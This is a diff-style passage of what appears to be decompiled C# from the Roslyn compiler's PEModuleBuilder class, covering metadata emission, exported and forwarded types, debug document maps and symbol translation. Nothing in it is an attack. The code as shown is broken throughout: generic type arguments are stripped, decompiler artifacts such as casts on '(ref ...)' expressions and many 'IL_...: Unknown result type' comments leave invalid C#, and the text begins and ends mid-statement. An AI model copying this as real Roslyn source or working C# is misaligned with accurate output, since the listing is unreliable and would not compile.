ConcurrentDictionary>((IEqualityComparer?)ReferenceEqualityComparer.Instance); + + private readonly ConcurrentSet _reportedErrorTypesMap = new ConcurrentSet(); + + private readonly EmbeddedTypesManager _embeddedTypesManagerOpt; + + private readonly string _metadataName; + + private ImmutableArray _lazyExportedTypes; + + private Dictionary _fixedImplementationTypes; + + private int _needsGeneratedAttributes; + + private bool _needsGeneratedAttributes_IsFrozen; + + public override EmbeddedTypesManager EmbeddedTypesManagerOpt => _embeddedTypesManagerOpt; + + public override string Name => _metadataName; + + internal sealed override string ModuleName => _metadataName; + + internal sealed override AssemblySymbol CorLibrary => base.SourceModule.ContainingSourceAssembly.CorLibrary; + + public sealed override bool GenerateVisualBasicStylePdb => false; + + public sealed override IEnumerable LinkedAssembliesDebugInfo => SpecializedCollections.EmptyEnumerable(); + + public sealed override string DefaultNamespace => null; + + internal virtual bool IgnoreAccessibility => false; + + internal EmbeddableAttributes GetNeedsGeneratedAttributes() + { + _needsGeneratedAttributes_IsFrozen = true; + return GetNeedsGeneratedAttributesInternal(); + } + + private EmbeddableAttributes GetNeedsGeneratedAttributesInternal() + { + return (EmbeddableAttributes)(_needsGeneratedAttributes | (int)base.Compilation.GetNeedsGeneratedAttributes()); + } + + private void SetNeedsGeneratedAttributes(EmbeddableAttributes attributes) + { + ThreadSafeFlagOperations.Set(ref _needsGeneratedAttributes, (int)attributes); + } + + internal PEModuleBuilder(SourceModuleSymbol sourceModule, EmitOptions emitOptions, OutputKind outputKind, ModulePropertiesForSerialization serializationProperties, IEnumerable manifestResources) + : base(sourceModule.ContainingSourceAssembly.DeclaringCompilation, sourceModule, serializationProperties, manifestResources, outputKind, emitOptions, new ModuleCompilationState()) + { + //IL_0047: Unknown result type (might be due to invalid IL or missing references) + string metadataName = sourceModule.MetadataName; + _metadataName = ((metadataName != "?") ? metadataName : (emitOptions.OutputNameOverride ?? metadataName)); + ConcurrentDictionaryExtensions.Add(AssemblyOrModuleSymbolToModuleRefMap, (Symbol)sourceModule, (IModuleReference)(object)this); + if (sourceModule.AnyReferencedAssembliesAreLinked) + { + _embeddedTypesManagerOpt = new EmbeddedTypesManager(this); + } + } + + internal sealed override ICustomAttribute SynthesizeAttribute(WellKnownMember attributeConstructor) + { + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + return (ICustomAttribute)(object)base.Compilation.TrySynthesizeAttribute(attributeConstructor); + } + + public sealed override IEnumerable GetSourceAssemblyAttributes(bool isRefAssembly) + { + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + return (IEnumerable)base.SourceModule.ContainingSourceAssembly.GetCustomAttributesToEmit(this, isRefAssembly, EnumBounds.IsNetModule(((CommonPEModuleBuilder)this).OutputKind)); + } + + public sealed override IEnumerable GetSourceAssemblySecurityAttributes() + { + return base.SourceModule.ContainingSourceAssembly.GetSecurityAttributes(); + } + + public sealed override IEnumerable GetSourceModuleAttributes() + { + return (IEnumerable)base.SourceModule.GetCustomAttributesToEmit(this); + } + + public sealed override ImmutableArray GetImports() + { + return ImmutableArray.Empty; + } + + protected sealed override IEnumerable GetAssemblyReferencesFromAddedModules(DiagnosticBag diagnostics) + { + ImmutableArray modules = base.SourceModule.ContainingAssembly.Modules; + for (int i = 1; i < modules.Length; i++) + { + ImmutableArray.Enumerator enumerator = modules[i].GetReferencedAssemblySymbols().GetEnumerator(); + while (enumerator.MoveNext()) + { + AssemblySymbol current = enumerator.Current; + yield return ((PEModuleBuilder)this).Translate(current, diagnostics); + } + } + } + + private void ValidateReferencedAssembly(AssemblySymbol assembly, AssemblyReference asmRef, DiagnosticBag diagnostics) + { + //IL_0056: Unknown result type (might be due to invalid IL or missing references) + //IL_005c: Invalid comparison between Unknown and I4 + AssemblyIdentity identity = base.SourceModule.ContainingAssembly.Identity; + AssemblyIdentity identity2 = asmRef.Identity; + if (identity.IsStrongName && !identity2.IsStrongName && asmRef.Identity.ContentType != AssemblyContentType.WindowsRuntime) + { + diagnostics.Add((DiagnosticInfo)(object)new CSDiagnosticInfo(ErrorCode.WRN_ReferencedAssemblyDoesNotHaveStrongName, assembly), NoLocation.Singleton); + } + if ((int)((CommonPEModuleBuilder)this).OutputKind != 3 && !string.IsNullOrEmpty(identity2.CultureName) && !string.Equals(identity2.CultureName, identity.CultureName, StringComparison.OrdinalIgnoreCase)) + { + diagnostics.Add((DiagnosticInfo)(object)new CSDiagnosticInfo(ErrorCode.WRN_RefCultureMismatch, assembly, identity2.CultureName), NoLocation.Singleton); + } + Machine machine = assembly.Machine; + if ((object)assembly != assembly.CorLibrary && (machine != Machine.I386 || assembly.Bit32Required)) + { + Machine machine2 = base.SourceModule.Machine; + if ((machine2 != Machine.I386 || base.SourceModule.Bit32Required) && machine2 != machine) + { + diagnostics.Add((DiagnosticInfo)(object)new CSDiagnosticInfo(ErrorCode.WRN_ConflictingMachineAssembly, assembly), NoLocation.Singleton); + } + } + if (_embeddedTypesManagerOpt != null && ((CommonEmbeddedTypesManager)_embeddedTypesManagerOpt).IsFrozen) + { + ((EmbeddedTypesManager)_embeddedTypesManagerOpt).ReportIndirectReferencesToLinkedAssemblies(assembly, diagnostics); + } + } + + internal sealed override IEnumerable GetSynthesizedNestedTypes(NamedTypeSymbol container) + { + return null; + } + + public sealed override IEnumerable<(ITypeDefinition, ImmutableArray)> GetTypeToDebugDocumentMap(EmitContext context) + { + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + ArrayBuilder typesToProcess = ArrayBuilder.GetInstance(); + ArrayBuilder debugDocuments = ArrayBuilder.GetInstance(); + PooledHashSet methodDocumentList = PooledHashSet.GetInstance(); + ArrayBuilder namespacesAndTopLevelTypesToProcess = ArrayBuilder.GetInstance(); + ArrayBuilderExtensions.Push(namespacesAndTopLevelTypesToProcess, (NamespaceOrTypeSymbol)base.SourceModule.GlobalNamespace); + while (namespacesAndTopLevelTypesToProcess.Count > 0) + { + NamespaceOrTypeSymbol namespaceOrTypeSymbol = ArrayBuilderExtensions.Pop(namespacesAndTopLevelTypesToProcess); + SymbolKind kind = namespaceOrTypeSymbol.Kind; + if ((int)kind != 11) + { + if ((int)kind == 12) + { + if (!(GetSmallestSourceLocationOrNull(namespaceOrTypeSymbol) != (Location)null)) + { + continue; + } + ImmutableArray.Enumerator enumerator = namespaceOrTypeSymbol.GetMembers().GetEnumerator(); + while (enumerator.MoveNext()) + { + Symbol current = enumerator.Current; + SymbolKind kind2 = current.Kind; + if (kind2 - 11 <= 1) + { + ArrayBuilderExtensions.Push(namespacesAndTopLevelTypesToProcess, (NamespaceOrTypeSymbol)current); + continue; + } + throw ExceptionUtilities.UnexpectedValue((object)current.Kind); + } + continue; + } + throw ExceptionUtilities.UnexpectedValue((object)namespaceOrTypeSymbol.Kind); + } + ITypeDefinition val = (ITypeDefinition)namespaceOrTypeSymbol.GetCciAdapter(); + ArrayBuilderExtensions.Push(typesToProcess, val); + GetDocumentsForMethodsAndNestedTypes(methodDocumentList, typesToProcess, context); + ImmutableArray.Enumerator enumerator2 = namespaceOrTypeSymbol.Locations.GetEnumerator(); + while (enumerator2.MoveNext()) + { + Location current2 = enumerator2.Current; + if (current2.IsInSource) + { + FileLinePositionSpan lineSpan = current2.GetLineSpan(); + DebugSourceDocument val2 = ((CommonPEModuleBuilder)this).DebugDocumentsBuilder.TryGetDebugDocument(((FileLinePositionSpan)(ref lineSpan)).Path, (string)null); + if (val2 != null && !((HashSet)(object)methodDocumentList).Contains(val2)) + { + debugDocuments.Add(val2); + } + } + } + if (debugDocuments.Count > 0) + { + yield return (val, debugDocuments.ToImmutable()); + } + debugDocuments.Clear(); + ((HashSet)(object)methodDocumentList).Clear(); + } + namespacesAndTopLevelTypesToProcess.Free(); + debugDocuments.Free(); + methodDocumentList.Free(); + typesToProcess.Free(); + } + + private static void GetDocumentsForMethodsAndNestedTypes(PooledHashSet documentList, ArrayBuilder typesToProcess, EmitContext context) + { + //IL_000d: Unknown result type (might be due to invalid IL or missing references) + //IL_0021: Unknown result type (might be due to invalid IL or missing references) + //IL_0072: Unknown result type (might be due to invalid IL or missing references) + //IL_003f: Unknown result type (might be due to invalid IL or missing references) + //IL_0044: Unknown result type (might be due to invalid IL or missing references) + //IL_0047: Unknown result type (might be due to invalid IL or missing references) + while (typesToProcess.Count > 0) + { + ITypeDefinition val = ArrayBuilderExtensions.Pop(typesToProcess); + foreach (IMethodDefinition method in val.GetMethods(context)) + { + IMethodBody body = method.GetBody(context); + if (body != null) + { + ImmutableArray.Enumerator enumerator2 = body.SequencePoints.GetEnumerator(); + while (enumerator2.MoveNext()) + { + SequencePoint current = enumerator2.Current; + ((HashSet)(object)documentList).Add(current.Document); + } + } + } + foreach (INestedTypeDefinition nestedType in val.GetNestedTypes(context)) + { + ArrayBuilderExtensions.Push(typesToProcess, (ITypeDefinition)(object)nestedType); + } + } + } + + public sealed override MultiDictionary GetSymbolToLocationMap() + { + //IL_002c: Unknown result type (might be due to invalid IL or missing references) + //IL_0031: Unknown result type (might be due to invalid IL or missing references) + //IL_0033: Unknown result type (might be due to invalid IL or missing references) + //IL_0037: Invalid comparison between Unknown and I4 + //IL_0039: Unknown result type (might be due to invalid IL or missing references) + //IL_003d: Invalid comparison between Unknown and I4 + //IL_00cf: Unknown result type (might be due to invalid IL or missing references) + //IL_00d9: Expected O, but got Unknown + //IL_01bc: Unknown result type (might be due to invalid IL or missing references) + //IL_00fa: Unknown result type (might be due to invalid IL or missing references) + //IL_00ff: Unknown result type (might be due to invalid IL or missing references) + //IL_0101: Unknown result type (might be due to invalid IL or missing references) + //IL_0104: Unknown result type (might be due to invalid IL or missing references) + //IL_0126: Expected I4, but got Unknown + //IL_019d: Unknown result type (might be due to invalid IL or missing references) + //IL_0126: Unknown result type (might be due to invalid IL or missing references) + //IL_012a: Invalid comparison between Unknown and I4 + //IL_0074: Unknown result type (might be due to invalid IL or missing references) + //IL_0079: Unknown result type (might be due to invalid IL or missing references) + //IL_007b: Unknown result type (might be due to invalid IL or missing references) + //IL_007f: Unknown result type (might be due to invalid IL or missing references) + //IL_0081: Invalid comparison between Unknown and I4 + //IL_0094: Unknown result type (might be due to invalid IL or missing references) + MultiDictionary result = new MultiDictionary(); + Stack stack = new Stack(); + stack.Push(base.SourceModule.GlobalNamespace); + Location val = null; + while (stack.Count > 0) + { + NamespaceOrTypeSymbol namespaceOrTypeSymbol = stack.Pop(); + SymbolKind kind = namespaceOrTypeSymbol.Kind; + ImmutableArray.Enumerator enumerator; + if ((int)kind != 11) + { + if ((int)kind == 12) + { + val = GetSmallestSourceLocationOrNull(namespaceOrTypeSymbol); + if (!(val != (Location)null)) + { + continue; + } + enumerator = namespaceOrTypeSymbol.GetMembers().GetEnumerator(); + while (enumerator.MoveNext()) + { + Symbol current = enumerator.Current; + SymbolKind kind2 = current.Kind; + if (kind2 - 11 <= 1) + { + stack.Push((NamespaceOrTypeSymbol)current); + continue; + } + throw ExceptionUtilities.UnexpectedValue((object)current.Kind); + } + continue; + } + throw ExceptionUtilities.UnexpectedValue((object)namespaceOrTypeSymbol.Kind); + } + val = GetSmallestSourceLocationOrNull(namespaceOrTypeSymbol); + if (!(val != (Location)null)) + { + continue; + } + AddSymbolLocation(result, val, (IDefinition)namespaceOrTypeSymbol.GetCciAdapter()); + enumerator = namespaceOrTypeSymbol.GetMembers().GetEnumerator(); + while (enumerator.MoveNext()) + { + Symbol current2 = enumerator.Current; + SymbolKind kind2 = current2.Kind; + switch (kind2 - 5) + { + default: + if ((int)kind2 != 15) + { + break; + } + AddSymbolLocation(result, current2); + continue; + case 6: + stack.Push((NamespaceOrTypeSymbol)current2); + continue; + case 4: + if (((MethodSymbol)current2).ShouldEmit()) + { + AddSymbolLocation(result, current2); + } + continue; + case 1: + if (!(current2 is TupleErrorFieldSymbol)) + { + AddSymbolLocation(result, current2); + } + continue; + case 0: + { + AddSymbolLocation(result, current2); + FieldSymbol associatedField = ((EventSymbol)current2).AssociatedField; + if ((object)associatedField != null) + { + AddSymbolLocation(result, associatedField); + } + continue; + } + case 2: + case 3: + case 5: + break; + } + throw ExceptionUtilities.UnexpectedValue((object)current2.Kind); + } + } + return result; + } + + private void AddSymbolLocation(MultiDictionary result, Symbol symbol) + { + //IL_001a: Unknown result type (might be due to invalid IL or missing references) + //IL_0024: Expected O, but got Unknown + Location smallestSourceLocationOrNull = GetSmallestSourceLocationOrNull(symbol); + if (smallestSourceLocationOrNull != (Location)null) + { + AddSymbolLocation(result, smallestSourceLocationOrNull, (IDefinition)symbol.GetCciAdapter()); + } + } + + private void AddSymbolLocation(MultiDictionary result, Location location, IDefinition definition) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_002d: Unknown result type (might be due to invalid IL or missing references) + //IL_0032: Unknown result type (might be due to invalid IL or missing references) + //IL_003c: Unknown result type (might be due to invalid IL or missing references) + //IL_0041: Unknown result type (might be due to invalid IL or missing references) + //IL_004b: Unknown result type (might be due to invalid IL or missing references) + //IL_0050: Unknown result type (might be due to invalid IL or missing references) + //IL_005a: Unknown result type (might be due to invalid IL or missing references) + //IL_005f: Unknown result type (might be due to invalid IL or missing references) + //IL_0067: Unknown result type (might be due to invalid IL or missing references) + FileLinePositionSpan lineSpan = location.GetLineSpan(); + DebugSourceDocument val = ((CommonPEModuleBuilder)this).DebugDocumentsBuilder.TryGetDebugDocument(((FileLinePositionSpan)(ref lineSpan)).Path, location.SourceTree.FilePath); + if (val != null) + { + LinePosition val2 = ((FileLinePositionSpan)(ref lineSpan)).StartLinePosition; + int line = ((LinePosition)(ref val2)).Line; + val2 = ((FileLinePositionSpan)(ref lineSpan)).StartLinePosition; + int character = ((LinePosition)(ref val2)).Character; + val2 = ((FileLinePositionSpan)(ref lineSpan)).EndLinePosition; + int line2 = ((LinePosition)(ref val2)).Line; + val2 = ((FileLinePositionSpan)(ref lineSpan)).EndLinePosition; + result.Add(val, new DefinitionWithLocation(definition, line, character, line2, ((LinePosition)(ref val2)).Character)); + } + } + + private Location GetSmallestSourceLocationOrNull(Symbol symbol) + { + CSharpCompilation declaringCompilation = symbol.DeclaringCompilation; + Location val = null; + ImmutableArray.Enumerator enumerator = symbol.Locations.GetEnumerator(); + while (enumerator.MoveNext()) + { + Location current = enumerator.Current; + if (current.IsInSource && (val == (Location)null || ((Compilation)declaringCompilation).CompareSourceLocations(val, current) > 0)) + { + val = current; + } + } + return val; + } + + internal virtual NamedTypeSymbol GetDynamicOperationContextType(NamedTypeSymbol contextType) + { + return contextType; + } + + internal virtual VariableSlotAllocator TryCreateVariableSlotAllocator(MethodSymbol method, MethodSymbol topLevelMethod, DiagnosticBag diagnostics) + { + return null; + } + + internal virtual MethodInstrumentation GetMethodBodyInstrumentations(MethodSymbol method) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_001a: Unknown result type (might be due to invalid IL or missing references) + MethodInstrumentation result = default(MethodInstrumentation); + ((MethodInstrumentation)(ref result)).set_Kinds(((CommonPEModuleBuilder)this).EmitOptions.InstrumentationKinds); + return result; + } + + internal virtual ImmutableArray GetPreviousAnonymousTypes() + { + return ImmutableArray.Empty; + } + + internal virtual ImmutableArray GetPreviousAnonymousDelegates() + { + return ImmutableArray.Empty; + } + + internal virtual int GetNextAnonymousTypeIndex() + { + return 0; + } + + internal virtual bool TryGetAnonymousTypeName(AnonymousTypeManager.AnonymousTypeTemplateSymbol template, out string name, out int index) + { + name = null; + index = -1; + return false; + } + + public sealed override IEnumerable GetAnonymousTypeDefinitions(EmitContext context) + { + if (((EmitContext)(ref context)).MetadataOnly) + { + return SpecializedCollections.EmptyEnumerable(); + } + return (IEnumerable)(object)base.Compilation.AnonymousTypeManager.GetAllCreatedTemplates(); + } + + public override IEnumerable GetTopLevelSourceTypeDefinitions(EmitContext context) + { + Stack namespacesToProcess = new Stack(); + namespacesToProcess.Push(base.SourceModule.GlobalNamespace); + while (namespacesToProcess.Count > 0) + { + NamespaceSymbol namespaceSymbol = namespacesToProcess.Pop(); + ImmutableArray.Enumerator enumerator = namespaceSymbol.GetMembers().GetEnumerator(); + while (enumerator.MoveNext()) + { + Symbol current = enumerator.Current; + if ((int)current.Kind == 12) + { + namespacesToProcess.Push((NamespaceSymbol)current); + } + else + { + yield return (INamespaceTypeDefinition)(object)((NamedTypeSymbol)current).GetCciAdapter(); + } + } + } + } + + private static void GetExportedTypes(NamespaceOrTypeSymbol symbol, int parentIndex, ArrayBuilder builder) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Invalid comparison between Unknown and I4 + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + //IL_0011: Invalid comparison between Unknown and I4 + //IL_0022: Unknown result type (might be due to invalid IL or missing references) + //IL_002e: Expected O, but got Unknown + //IL_0029: Unknown result type (might be due to invalid IL or missing references) + int parentIndex2; + if ((int)symbol.Kind == 11) + { + if ((int)symbol.DeclaredAccessibility != 6) + { + return; + } + parentIndex2 = builder.Count; + builder.Add(new ExportedType((ITypeReference)symbol.GetCciAdapter(), parentIndex, false)); + } + else + { + parentIndex2 = -1; + } + ImmutableArray.Enumerator enumerator = symbol.GetMembers().GetEnumerator(); + while (enumerator.MoveNext()) + { + if (enumerator.Current is NamespaceOrTypeSymbol symbol2) + { + GetExportedTypes(symbol2, parentIndex2, builder); + } + } + } + + public sealed override ImmutableArray GetExportedTypes(DiagnosticBag diagnostics) + { + if (_lazyExportedTypes.IsDefault) + { + _lazyExportedTypes = CalculateExportedTypes(); + if (_lazyExportedTypes.Length > 0) + { + ReportExportedTypeNameCollisions(_lazyExportedTypes, diagnostics); + } + } + return _lazyExportedTypes; + } + + private ImmutableArray CalculateExportedTypes() + { + //IL_0013: Unknown result type (might be due to invalid IL or missing references) + SourceAssemblySymbol containingSourceAssembly = base.SourceModule.ContainingSourceAssembly; + ArrayBuilder instance = ArrayBuilder.GetInstance(); + if (!EnumBounds.IsNetModule(((CommonPEModuleBuilder)this).OutputKind)) + { + ImmutableArray modules = containingSourceAssembly.Modules; + for (int i = 1; i < modules.Length; i++) + { + GetExportedTypes(modules[i].GlobalNamespace, -1, instance); + } + } + GetForwardedTypes(containingSourceAssembly, instance); + return instance.ToImmutableAndFree(); + } + + internal static HashSet GetForwardedTypes(SourceAssemblySymbol sourceAssembly, ArrayBuilder? builder) + { + //IL_001e: Unknown result type (might be due to invalid IL or missing references) + HashSet hashSet = new HashSet(); + GetForwardedTypes(hashSet, sourceAssembly.GetSourceDecodedWellKnownAttributeData(), builder); + if (!EnumBounds.IsNetModule(((CompilationOptions)sourceAssembly.DeclaringCompilation.Options).OutputKind)) + { + GetForwardedTypes(hashSet, sourceAssembly.GetNetModuleDecodedWellKnownAttributeData(), builder); + } + return hashSet; + } + + private void ReportExportedTypeNameCollisions(ImmutableArray exportedTypes, DiagnosticBag diagnostics) + { + //IL_0026: Unknown result type (might be due to invalid IL or missing references) + SourceAssemblySymbol containingSourceAssembly = base.SourceModule.ContainingSourceAssembly; + Dictionary dictionary = new Dictionary((IEqualityComparer?)StringOrdinalComparer.Instance); + ImmutableArray.Enumerator enumerator = exportedTypes.GetEnumerator(); + while (enumerator.MoveNext()) + { + NamedTypeSymbol namedTypeSymbol = (NamedTypeSymbol)(object)((IReference)enumerator.Current.Type).GetInternalSymbol(); + if (!namedTypeSymbol.IsTopLevelType()) + { + continue; + } + string text = MetadataHelpers.BuildQualifiedName(((INamespaceTypeReference)namedTypeSymbol.GetCciAdapter()).NamespaceName, MetadataWriter.GetMetadataName((INamedTypeReference)(object)namedTypeSymbol.GetCciAdapter(), 0)); + NamedTypeSymbol value; + if (base.ContainsTopLevelType(text)) + { + if ((object)namedTypeSymbol.ContainingAssembly == containingSourceAssembly) + { + diagnostics.Add(ErrorCode.ERR_ExportedTypeConflictsWithDeclaration, NoLocation.Singleton, namedTypeSymbol, namedTypeSymbol.ContainingModule); + } + else + { + diagnostics.Add(ErrorCode.ERR_ForwardedTypeConflictsWithDeclaration, NoLocation.Singleton, namedTypeSymbol); + } + } + else if (dictionary.TryGetValue(text, out value)) + { + if ((object)namedTypeSymbol.ContainingAssembly == containingSourceAssembly) + { + diagnostics.Add(ErrorCode.ERR_ExportedTypesConflict, NoLocation.Singleton, namedTypeSymbol, namedTypeSymbol.ContainingModule, value, value.ContainingModule); + } + else if ((object)value.ContainingAssembly == containingSourceAssembly) + { + diagnostics.Add(ErrorCode.ERR_ForwardedTypeConflictsWithExportedType, NoLocation.Singleton, namedTypeSymbol, namedTypeSymbol.ContainingAssembly, value, value.ContainingModule); + } + else + { + diagnostics.Add(ErrorCode.ERR_ForwardedTypesConflict, NoLocation.Singleton, namedTypeSymbol, namedTypeSymbol.ContainingAssembly, value, value.ContainingAssembly); + } + } + else + { + dictionary.Add(text, namedTypeSymbol); + } + } + } + + private static void GetForwardedTypes(HashSet seenTopLevelTypes, CommonAssemblyWellKnownAttributeData wellKnownAttributeData, ArrayBuilder? builder) + { + //IL_00ce: Unknown result type (might be due to invalid IL or missing references) + //IL_00d4: Invalid comparison between Unknown and I4 + //IL_00e9: Unknown result type (might be due to invalid IL or missing references) + if (wellKnownAttributeData == null || !(wellKnownAttributeData.ForwardedTypes?.Count > 0)) + { + return; + } + ArrayBuilder<(NamedTypeSymbol, int)> instance = ArrayBuilder<(NamedTypeSymbol, int)>.GetInstance(); + IEnumerable enumerable = wellKnownAttributeData.ForwardedTypes; + if (builder != null) + { + enumerable = enumerable.OrderBy((NamedTypeSymbol t) => ((Symbol)t.OriginalDefinition).ToDisplayString(SymbolDisplayFormat.QualifiedNameArityFormat)); + } + foreach (NamedTypeSymbol item in enumerable) + { + NamedTypeSymbol originalDefinition = item.OriginalDefinition; + if (!seenTopLevelTypes.Add(originalDefinition) || builder == null) + { + continue; + } + ArrayBuilderExtensions.Push<(NamedTypeSymbol, int)>(instance, (originalDefinition, -1)); + while (instance.Count > 0) + { + var (namedTypeSymbol, num) = ArrayBuilderExtensions.Pop<(NamedTypeSymbol, int)>(instance); + if ((int)namedTypeSymbol.DeclaredAccessibility != 1) + { + int count = builder.Count; + builder.Add(new ExportedType((ITypeReference)(object)namedTypeSymbol.GetCciAdapter(), num, true)); + ImmutableArray typeMembers = namedTypeSymbol.GetTypeMembers(); + for (int num2 = typeMembers.Length - 1; num2 >= 0; num2--) + { + ArrayBuilderExtensions.Push<(NamedTypeSymbol, int)>(instance, (typeMembers[num2], count)); + } + } + } + } + instance.Free(); + } + + internal IEnumerable GetReferencedAssembliesUsedSoFar() + { + ImmutableArray.Enumerator enumerator = base.SourceModule.GetReferencedAssemblySymbols().GetEnumerator(); + while (enumerator.MoveNext()) + { + AssemblySymbol current = enumerator.Current; + if (!current.IsLinked && !current.IsMissing && AssemblyOrModuleSymbolToModuleRefMap.ContainsKey(current)) + { + yield return current; + } + } + } + + private NamedTypeSymbol GetUntranslatedSpecialType(SpecialType specialType, SyntaxNode syntaxNodeOpt, DiagnosticBag diagnostics) + { + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + //IL_0012: Unknown result type (might be due to invalid IL or missing references) + NamedTypeSymbol specialType2 = base.SourceModule.ContainingAssembly.GetSpecialType(specialType); + DiagnosticInfo diagnosticInfo = specialType2.GetUseSiteInfo().DiagnosticInfo; + if (diagnosticInfo != null) + { + Symbol.ReportUseSiteDiagnostic(diagnosticInfo, diagnostics, (syntaxNodeOpt != null) ? syntaxNodeOpt.Location : NoLocation.Singleton); + } + return specialType2; + } + + internal sealed override INamedTypeReference GetSpecialType(SpecialType specialType, SyntaxNode syntaxNodeOpt, DiagnosticBag diagnostics) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + return Translate(GetUntranslatedSpecialType(specialType, syntaxNodeOpt, diagnostics), syntaxNodeOpt, diagnostics, fromImplements: false, needDeclaration: true); + } + + public sealed override IMethodReference GetInitArrayHelper() + { + return (IMethodReference)(object)((MethodSymbol)base.Compilation.GetWellKnownTypeMember((WellKnownMember)125))?.GetCciAdapter(); + } + + public sealed override bool IsPlatformType(ITypeReference typeRef, PlatformType platformType) + { + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_0012: Invalid comparison between Unknown and I4 + //IL_0026: Unknown result type (might be due to invalid IL or missing references) + //IL_002b: Unknown result type (might be due to invalid IL or missing references) + //IL_002d: Invalid comparison between Unknown and I4 + if (((IReference)typeRef).GetInternalSymbol() is NamedTypeSymbol namedTypeSymbol) + { + if ((int)platformType == 61) + { + return (object)namedTypeSymbol == base.Compilation.GetWellKnownType((WellKnownType)61); + } + return (int)namedTypeSymbol.SpecialType == (sbyte)platformType; + } + return false; + } + + protected sealed override IAssemblyReference GetCorLibraryReferenceToEmit(EmitContext context) + { + //IL_0027: Unknown result type (might be due to invalid IL or missing references) + AssemblySymbol corLibrary = ((PEModuleBuilder)this).CorLibrary; + if (!corLibrary.IsMissing && !corLibrary.IsLinked && (object)corLibrary != base.SourceModule.ContainingAssembly) + { + return ((PEModuleBuilder)this).Translate(corLibrary, context.Diagnostics); + } + return null; + } + + internal sealed override IAssemblyReference Translate(AssemblySymbol assembly, DiagnosticBag diagnostics) + { + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_0015: Expected O, but got Unknown + //IL_0026: Unknown result type (might be due to invalid IL or missing references) + //IL_002c: Expected O, but got Unknown + if ((object)base.SourceModule.ContainingAssembly == assembly) + { + return (IAssemblyReference)this; + } + if (AssemblyOrModuleSymbolToModuleRefMap.TryGetValue(assembly, out var value)) + { + return (IAssemblyReference)value; + } + AssemblyReference assemblyReference = new AssemblyReference(assembly); + AssemblyReference assemblyReference2 = (AssemblyReference)(object)AssemblyOrModuleSymbolToModuleRefMap.GetOrAdd(assembly, (IModuleReference)(object)assemblyReference); + if (assemblyReference2 == assemblyReference) + { + ValidateReferencedAssembly(assembly, assemblyReference2, diagnostics); + } + AssemblyOrModuleSymbolToModuleRefMap.TryAdd(assembly.Modules[0], (IModuleReference)(object)assemblyReference2); + return (IAssemblyReference)(object)assemblyReference2; + } + + internal IModuleReference Translate(ModuleSymbol module, DiagnosticBag diagnostics) + { + if ((object)base.SourceModule == module) + { + return (IModuleReference)(object)this; + } + if ((object)module == null) + { + return null; + } + if (AssemblyOrModuleSymbolToModuleRefMap.TryGetValue(module, out var value)) + { + return value; + } + value = TranslateModule(module, diagnostics); + return AssemblyOrModuleSymbolToModuleRefMap.GetOrAdd(module, value); + } + + protected virtual IModuleReference TranslateModule(ModuleSymbol module, DiagnosticBag diagnostics) + { + AssemblySymbol containingAssembly = module.ContainingAssembly; + if ((object)containingAssembly != null && (object)containingAssembly.Modules[0] == module) + { + IModuleReference val = (IModuleReference)(object)new AssemblyReference(containingAssembly); + IModuleReference orAdd = AssemblyOrModuleSymbolToModuleRefMap.GetOrAdd(containingAssembly, val); + if (orAdd == val) + { + ValidateReferencedAssembly(containingAssembly, (AssemblyReference)(object)val, diagnostics); + } + else + { + val = orAdd; + } + return val; + } + return (IModuleReference)(object)new ModuleReference(this, module); + } + + internal INamedTypeReference Translate(NamedTypeSymbol namedTypeSymbol, SyntaxNode syntaxNodeOpt, DiagnosticBag diagnostics, bool fromImplements = false, bool needDeclaration = false) + { + //IL_0029: Unknown result type (might be due to invalid IL or missing references) + //IL_002f: Invalid comparison between Unknown and I4 + //IL_0041: Unknown result type (might be due to invalid IL or missing references) + //IL_00f0: Unknown result type (might be due to invalid IL or missing references) + //IL_00f6: Expected O, but got Unknown + //IL_005a: Unknown result type (might be due to invalid IL or missing references) + //IL_0060: Invalid comparison between Unknown and I4 + //IL_006a: Unknown result type (might be due to invalid IL or missing references) + //IL_011f: Unknown result type (might be due to invalid IL or missing references) + //IL_0125: Expected O, but got Unknown + //IL_0194: Unknown result type (might be due to invalid IL or missing references) + //IL_019a: Expected O, but got Unknown + //IL_017a: Unknown result type (might be due to invalid IL or missing references) + //IL_0180: Expected O, but got Unknown + //IL_0158: Unknown result type (might be due to invalid IL or missing references) + //IL_015e: Expected O, but got Unknown + if (namedTypeSymbol.IsAnonymousType) + { + namedTypeSymbol = AnonymousTypeManager.TranslateAnonymousTypeSymbol(namedTypeSymbol); + } + else if (namedTypeSymbol.IsTupleType) + { + CheckTupleUnderlyingType(namedTypeSymbol, syntaxNodeOpt, diagnostics); + } + if ((int)namedTypeSymbol.OriginalDefinition.Kind == 4) + { + ErrorTypeSymbol errorTypeSymbol = (ErrorTypeSymbol)namedTypeSymbol.OriginalDefinition; + DiagnosticInfo val = errorTypeSymbol.GetUseSiteInfo().DiagnosticInfo ?? errorTypeSymbol.ErrorInfo; + if (val == null && (int)namedTypeSymbol.Kind == 4) + { + errorTypeSymbol = (ErrorTypeSymbol)namedTypeSymbol; + val = errorTypeSymbol.GetUseSiteInfo().DiagnosticInfo ?? errorTypeSymbol.ErrorInfo; + } + if (_reportedErrorTypesMap.Add((TypeSymbol)errorTypeSymbol)) + { + diagnostics.Add((Diagnostic)(object)new CSDiagnostic((DiagnosticInfo)(((object)val) ?? ((object)new CSDiagnosticInfo(ErrorCode.ERR_BogusType, string.Empty))), (syntaxNodeOpt == null) ? NoLocation.Singleton : syntaxNodeOpt.Location)); + } + return (INamedTypeReference)(object)ErrorType.Singleton; + } + if (!namedTypeSymbol.IsDefinition) + { + if (!namedTypeSymbol.IsUnboundGenericType) + { + return (INamedTypeReference)GetCciAdapter(namedTypeSymbol); + } + namedTypeSymbol = namedTypeSymbol.OriginalDefinition; + } + else if (!needDeclaration) + { + NamedTypeSymbol containingType = namedTypeSymbol.ContainingType; + object value; + if (namedTypeSymbol.Arity > 0) + { + if (_genericInstanceMap.TryGetValue(namedTypeSymbol, out value)) + { + return (INamedTypeReference)value; + } + 